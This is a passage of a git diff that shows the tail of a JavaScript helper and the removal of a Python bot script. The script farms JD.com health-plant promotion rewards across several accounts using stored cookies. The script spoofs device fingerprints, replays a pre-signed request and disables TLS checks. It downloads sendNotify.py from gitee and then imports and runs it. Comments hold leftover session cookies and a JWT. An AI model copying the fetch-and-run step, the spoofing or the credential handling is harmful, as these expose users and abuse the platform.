openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_health_plant.py b/jd_health_plant.py index e1cbc8422..3876d3551 100644 --- a/jd_health_plant.py +++ b/jd_health_plant.py @@ -1,602 +1,582 @@ -#!/bin/env python3 -# -*- coding: utf-8 -* -''' -感谢Curtin提供的其他脚本供我参考 -感谢aburd ch大佬的指导 -项目名称:jd_health_plant.py -Author: 一风一扬 -功能:健康社区-种植园自动任务 -Date: 2022-1-4 -cron: 23 11,13,21 * * * jd_health_plant.py -new Env('京东健康社区-种植园自动任务'); - - -活动入口:20:/#1DouT0KAaKuqv% - -教程:该活动与京东的ck通用,但是变量我还是独立出来。 - -青龙变量填写export plant_cookie="xxxx" - -多账号用&隔开,例如export plant_cookie="xxxx&xxxx" - - -青龙变量export charge_targe_id = 'xxxx',表示需要充能的id,单账号可以先填写export charge_targe_id = '11111',运行一次脚本 -日志输出会有charge_targe_id,然后再重新修改export charge_targe_id = 'xxxxxx'。多个账号也一样,如果2个账号export charge_targe_id = '11111&11111' -3个账号export charge_targe_id = '11111&11111&11111',以此类推。 -注意:charge_targe_id和ck位置要对应。而且你有多少个账号,就得填多少个charge_targe_id,首次11111填写时,为5位数。 -例如export plant_cookie="xxxx&xxxx&xxx",那export charge_targe_id = "11111&11111&11111",也要写满3个id,这样才能保证所有账号都能跑 - -''' - - - -######################################################以下代码请不要乱改###################################### - -UserAgent = '' -cookie = '' -account = '' -charge_targe_id = '' -cookies = [] -charge_targe_ids = '' - -import requests -import time,datetime -import requests,re,os,sys,random,json -from urllib.parse import quote, unquote -import threading -import urllib3 -#urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - -requests.packages.urllib3.disable_warnings() - - - - -today = datetime.datetime.now().strftime('%Y-%m-%d') -tomorrow=(datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d') - -nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') - -time1 = '21:00:00.00000000' -time2 = '22:00:00.00000000' - -flag_time1 = '{} {}'.format (today, time1) -flag_time2 = '{} {}'.format (today, time2) - - - - -pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep -path = pwd + "env.sh" - -sid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 32)) - -sid_ck = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdefABCDEFGHIJKLMNOPQRSTUVWXYZ', 43)) - - - -def printT(s): - print("[{0}]: {1}".format(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), s)) - sys.stdout.flush() - -def getEnvs(label): - try: - if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': - return True - elif label == 'False' or label == 'no' or label == 'false' or label == 'No': - return False - except: - pass - try: - if '.' in label: - return float(label) - elif '&' in label: - return label.split('&') - elif '@' in label: - return label.split('@') - else: - return int(label) - except: - return label - -# 获取v4环境 特殊处理 -try: - with open(v4f, 'r', encoding='utf-8') as v4f: - v4Env = v4f.read() - r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', - re.M | re.S | re.I) - r = r.findall(v4Env) - curenv = locals() - for i in r: - if i[0] != 'JD_COOKIE': - curenv[i[0]] = getEnvs(i[1]) -except: - pass - -############# 在pycharm测试ql环境用,实际用下面的代码运行 ######### -# with open(path, "r+", encoding="utf-8") as f: -# ck = f.read() -# if "JD_COOKIE" in ck: -# r = re.compile (r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) -# cookies = r.findall (ck) -# # print(cookies) -# # cookies = cookies[0] -# # print(cookies) -# # cookies = cookies.split ('&') -# printT ("已获取并使用ck环境 Cookie") -####################################################################### - - -if "plant_cookie" in os.environ: - if len (os.environ["plant_cookie"]) == 1: - is_ck = int(os.environ["plant_cookie"]) - cookie1 = os.environ["JD_COOKIE"].split('&') - cookie = cookie1[is_ck-1] - printT ("已获取并使用Env环境cookie") - elif len (os.environ["plant_cookie"]) > 1: - cookies1 = [] - cookies1 = os.environ["JD_COOKIE"] - cookies1 = cookies1.split ('&') - is_ck = os.environ["plant_cookie"].split('&') - for i in is_ck: - cookies.append(cookies1[int(i)-1]) - printT ("已获取并使用Env环境plant_cookies") -else: - if cookie == '': - printT ("变量plant_cookie未填写") - exit (0) - -if "charge_targe_id" in os.environ: - if len (os.environ["charge_targe_id"]) > 8: - charge_targe_ids = os.environ["charge_targe_id"] - charge_targe_ids = charge_targe_ids.split ('&') - else: - charge_targe_id = os.environ["charge_targe_id"] - printT (f"已获取并使用Env环境 charge_targe_id={charge_targe_id}") -else: - printT("变量charge_targe_id未填写,无法充能") - - - -def userAgent(): - """ - 随机生成一个UA - :return: jdapp;iPhone;9.4.8;14.3;xxxx;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 - """ - if not UserAgent: - uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join( - random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) - iosV = iosVer.replace('.', '_') - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( - random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( - random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone{iPhone},1;addressid/{addressid};supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' - else: - return UserAgent - -## 获取通知服务 -class msg(object): - def __init__(self, m=''): - self.str_msg = m - self.message() - def message(self): - global msg_info - printT(self.str_msg) - try: - msg_info = "{}\n{}".format(msg_info, self.str_msg) - except: - msg_info = "{}".format(self.str_msg) - sys.stdout.flush() #这代码的作用就是刷新缓冲区。 - # 当我们打印一些字符时,并不是调用print函数后就立即打印的。一般会先将字符送到缓冲区,然后再打印。 - # 这就存在一个问题,如果你想等时间间隔的打印一些字符,但由于缓冲区没满,不会打印。就需要采取一些手段。如每次打印后强行刷新缓冲区。 - def getsendNotify(self, a=0): - if a == 0: - a += 1 - try: - url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' - response = requests.get(url) - if 'curtinlv' in response.text: - with open('sendNotify.py', "w+", encoding="utf-8") as f: - f.write(response.text) - else: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - except: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - def main(self): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - self.getsendNotify() - try: - from sendNotify import send - except: - printT("加载通知服务失败~") - else: - self.getsendNotify() - try: - from sendNotify import send - except: - printT("加载通知服务失败~") - ################### -msg().main() - -def setName(cookie): - try: - r = re.compile(r"pt_pin=(.*?);") #指定一个规则:查找pt_pin=与;之前的所有字符,但pt_pin=与;不复制。r"" 的作用是去除转义字符. - userName = r.findall(cookie) #查找pt_pin=与;之前的所有字符,并复制给r,其中pt_pin=与;不复制。 - #print (userName) - userName = unquote(userName[0]) #r.findall(cookie)赋值是list列表,这个赋值为字符串 - #print(userName) - return userName - except Exception as e: - print(e,"cookie格式有误!") - exit(2) - -#获取ck -def get_ck(token,sid_ck,account): - try: - url = 'https://api.m.jd.com/client.action?functionId=isvObfuscator' - headers = { - # 'Connection': 'keep-alive', - 'accept': '*/*', - "cookie": f"{token}", - 'host': 'api.m.jd.com', - # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'user-Agent': "JD4iPhone/167922%20(iPhone;%20iOS;%20Scale/2.00)", - 'accept-Encoding': 'gzip, deflate, br', - 'accept-Language': 'zh-Hans-CN;q=1', - "content-type":"application/x-www-form-urlencoded", - # "content-length":"1348", - } - timestamp = int (round (time.time () * 1000)) - timestamp1 = int(timestamp / 1000) - data =r'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruismzd-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167922&client=apple&clientVersion=10.3.2&d_brand=apple&d_model=iPhone12%2C1&ef=1&eid=eidI4a9081236as4w7JpXa5zRZuwROIEo3ORpcOyassXhjPBIXtrtbjusqCxeW3E1fOtHUlGhZUCur1Q1iocDze1pQ9jBDGfQs8UXxMCTz02fk0RIHpB&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22ENS4AtO3EJS%3D%22%2C%22wifiBssid%22%3A%22' + f"{sid_ck}" + r'%3D%22%2C%22osVersion%22%3A%22CJUkCK%3D%3D%22%2C%22area%22%3A%22CJvpCJY1DV80ENY2XzK%3D%22%2C%22openudid%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1642002985%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=88&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=01&sign=946db60626658b250cf47aafb6f67691&st=1642002999847&sv=112&uemps=0-0&uts=0f31TVRjBSu3kkqwe7t25AkQCKuzV3pz8JrojVuU0630g%2BkZigs9kTwRghT26sE72/e92RRKan/%2B9SRjIJYCLuhew91djUwnIY47k31Rwne/U1fOHHr9FmR31X03JKJjwao/EC1gy4fj7PV1Co0ZOjiCMTscFo/8id2r8pCHYMZcaeH3yPTLq1MyFF3o3nkStM/993MbC9zim7imw8b1Fg%3D%3D' - # data = '{"token":"AAFh3ANjADAPSunyKSzXTA-UDxrs3Tn9hoy92x4sWmVB0Kv9ey-gAMEdJaSDWLWtnMX8lqLujBo","source":"01"}' - # print(data) - response = requests.post (url=url, verify=False, headers=headers,data=data) - result = response.json () - # print(result) - access_token = result['token'] - print(access_token) - return access_token - except Exception as e: - msg("账号【{0}】获取ck失败,cookie过期".format(account)) - -#获取Authorization -def get_Authorization(access_token,account): - try: - url = 'https://xinruismzd-isv.isvjcloud.com/api/auth' - headers = { - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - "Authorization": 'Bearer undefined', - 'Referer': 'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/logined_jd/', - 'Host': 'xinruismzd-isv.isvjcloud.com', - # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'User-Agent': userAgent (), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', - "Origin":"https://xinruismzd-isv.isvjcloud.com", - "Content-Type":"application/json;charset=utf-8", - - } - data = '{"token":"'+ f"{access_token}" + r'","source":"01"}' - # print(data) - response = requests.post (url=url, verify=False, headers=headers,data=data) - result = response.json () - print(result) - access_token = result['access_token'] - access_token = r"Bearer " + access_token - # print(access_token) - return access_token - except Exception as e: - msg("账号【{0}】获取Authorization失败,cookie过期".format(account)) - -#获取已种植的信息 -def get_planted_info(cookies,sid,account): - name_list = [] - planted_id_list = [] - url = 'https://xinruismzd-isv.isvjcloud.com/api/get_home_info' - headers = { - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - "Authorization": cookies, - 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', - 'Host': 'xinruismzd-isv.isvjcloud.com', - # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'User-Agent': userAgent (), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' - } - response = requests.get (url=url, verify=False, headers=headers) - result = response.json () - # print(result) - planted_list = result['plant'] - # print(planted_list) - for i in range (len (planted_list)): - try: - name = result['plant'][f'{i+1}']['data']['name'] - planted_id = result['plant'][f'{i+1}']['data']['id'] - print(f"账号{account}所种植的",f"【{name}】","充能ID为:",planted_id) - name_list.append(name) - planted_id_list.append(planted_id) - except Exception as e: - pass - - -#获取早睡打卡 -def get_sleep(cookies,sid): - url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' - headers = { - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - "Authorization": cookies, - 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', - 'Host': 'xinruismzd-isv.isvjcloud.com', - # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'User-Agent': userAgent (), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' - } - response = requests.get (url=url, verify=False, headers=headers) - result = response.json () - # print(result) - taskToken_list = result['result']['taskVos'] - for i in range (len (taskToken_list)): - try: - taskName = taskToken_list[i]['taskName'] - taskId = taskToken_list[i]['taskId'] - if "早睡" in taskName: - taskToken = taskToken_list[i]['threeMealInfoVos'][0]['taskToken'] - return taskName,taskId,taskToken - except Exception as e: - print (e) - - -#获取任务信息 -def get_task(cookies,sid,account): - try: - taskName_list = [] - taskId_list = [] - taskToken_list = [] - url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' - headers = { - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - "Authorization":cookies, - 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', - 'Host': 'xinruismzd-isv.isvjcloud.com', - # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'User-Agent': userAgent (), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' - } - response = requests.get(url=url, verify=False, headers=headers) - result = response.json() - # print(result) - task_list = result['result']['taskVos'] - # print(task_list) - for i in range (len (task_list)): - try: - taskName = task_list[i]['taskName'] - taskId = task_list[i]['taskId'] - taskToken = task_list[i]['shoppingActivityVos'][0]['taskToken'] - taskName_list.append(taskName) - taskId_list.append(taskId) - taskToken_list.append(taskToken) - except Exception as e: - print(e) - # print(taskName_list, taskId_list, taskToken_list) - return taskName_list, taskId_list, taskToken_list - except Exception as e: - print (e) - msg("【账号{0}】浏览任务已全部完成".format(account)) - return '', '', '' - -#获取加购任务信息 -def get_task2(cookies,sid,account): - try: - taskToken_list = [] - url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' - headers = { - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - "Authorization":cookies, - 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', - 'Host': 'xinruismzd-isv.isvjcloud.com', - # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'User-Agent': userAgent (), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' - } - response = requests.get(url=url, verify=False, headers=headers) - result = response.json() - # print(result) - taskName = result['result']['taskVos'][0]['taskName'] - taskId = result['result']['taskVos'][0]['taskId'] - task_list = result['result']['taskVos'][0]['productInfoVos'] - # print(task_list) - for i in range (len (task_list)): - try: - taskToken = task_list[i]['taskToken'] - taskToken_list.append(taskToken) - except Exception as e: - pass - # print(taskName, taskId, taskToken_list) - return taskName, taskId, taskToken_list - except Exception as e: - print (e) - msg("【账号{0}】加购任务已全部完成".format(account)) - return '','','' - -#做任务 -def do_task(cookies,taskName,taskId,taskToken,sid,account): - try: - url = 'https://xinruismzd-isv.isvjcloud.com/api/do_task' - url1 = 'https://xinruismzd-isv.isvjcloud.com/api/catch_task' - headers = { - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - "Content-Type":"application/json", - "Authorization":cookies, - 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', - 'Host': 'xinruismzd-isv.isvjcloud.com', - # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', - 'User-Agent': userAgent (), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', - # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" - "Origin":"https://xinruismzd-isv.isvjcloud.com", - # "Content-Length":"124", - } - data = r'{"taskToken":"' +f"{taskToken}" +r'","task_id":' + f"{taskId}" + r',"task_type":9,"task_name":"' + f"{taskName}" + r'"}' - res = requests.post(url=url1, verify=False, headers=headers,data=data.encode()) - # print(res.status_code) - if res.status_code == 200: - msg("账号【{0}】正在执行任务,请稍等10秒".format(account)) - time.sleep(10) - response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 - result = response.json() - print(result) - score = result['score'] - msg ("账号【{0}】执行任务【{1}】成功,获取【{2}】能量".format (account, taskName,score)) - except Exception as e: - print(e) - -#做任务 -def do_task2(cookies,taskName,taskId,taskToken,sid,account): - try: - url = 'https://xinruismzd-isv.isvjcloud.com/api/do_task' - headers = { - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - "Content-Type":"application/json", - "Authorization":cookies, - 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', - 'Host': 'xinruismzd-isv.isvjcloud.com', - # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', - 'User-Agent': userAgent (), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', - # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" - "Origin":"https://xinruismzd-isv.isvjcloud.com", - # "Content-Length":"124", - } - data = r'{"taskToken":"' +f"{taskToken}" +r'","task_id":' + f"{taskId}" + r',"task_type":9,"task_name":"' + f"{taskName}" + r'"}' - time.sleep(1) - response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 - result = response.json() - # print(result) - score = result['score'] - msg ("账号【{0}】执行任务【{1}】成功,获取【{2}】能量".format (account, taskName,score)) - except Exception as e: - print(e) - - -#充能 -def charge(charge_targe_id,cookies,sid,account): - try: - url = 'https://xinruismzd-isv.isvjcloud.com/api/add_growth_value' - headers = { - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - "Content-Type":"application/json", - "Authorization":cookies, - 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', - 'Host': 'xinruismzd-isv.isvjcloud.com', - # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', - 'User-Agent': userAgent (), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', - # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; 